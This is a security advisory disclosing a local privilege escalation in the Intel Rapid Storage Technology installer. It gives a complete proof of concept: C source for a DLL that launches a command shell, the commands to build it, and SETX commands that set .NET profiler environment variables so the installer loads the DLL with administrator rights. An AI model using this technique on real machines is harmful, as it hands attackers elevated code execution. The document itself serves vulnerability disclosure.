Intel RST User Interface / Driver Privilege Escalation

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

Hi @ll, more than 2 years ago I disclosed 2 vulnerabilities leading to local escalation of privilege in the Intel Rapid Storage Technology (Intel RST) User Interface and Driver: see <> and <> Intel fixed this vulnerability only in their executable installer. Some time later Intel rewrote or rebuilt this installer (see < y> for its current version, published 10/15/2020) and incorporated the second vulnerability. CVSS 3.0 score: 8.2 High CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Demonstration: ~~~~~~~~~~~~~~ 0. Save the following source as sentinel.c in an arbitrary directory: --- sentinel.c --- // Copyright (C) 2004-2021, Stefan Kanthak <> #define STRICT #define UNICODE #define WIN32_LEAN_AND_MEAN #include <windows.h> const STARTUPINFO si = {sizeof(si)}; __declspec(safebuffers) BOOL WINAPI _DllMainCRTStartup(HANDLE hModule, DWORD dwReason, CONTEXT *lpContext) { WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL"; PROCESS_INFORMATION pi; if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } return TRUE; } --- EOF --- 1. Start the command prompt of the 32-bit Windows Software Development Kit, then run the following command lines to compile sentinel.c and link it as sentinel.dll: cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows sentinel.obj kernel32.lib ALTERNATIVE for steps 0 and 1: 1. Download <> and save it in an arbitrary directory. 2. Logon with the user account created during Windows setup. 3. Start a command prompt (unelevated!) and run the following command lines (replace <directory> with the pathname of the directory where you built or saved sentinel.dll): SETX.exe COR_ENABLE_PROFILING 1 SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A} SETX.exe COR_PROFILER_PATH <directory>\sentinel.dll JFTR: this is just one method to set these environment variables without the need to elevate! 4. Download <> and save it in an arbitrary directory. 5. Execute SetupRST.exe per double-click, acknowledge the UAC prompt, then admire the console windows showing the output of WHOAMI.exe running elevated. stay tuned, and FAR AWAY from vulnerable crap built by Intel Stefan Kanthak

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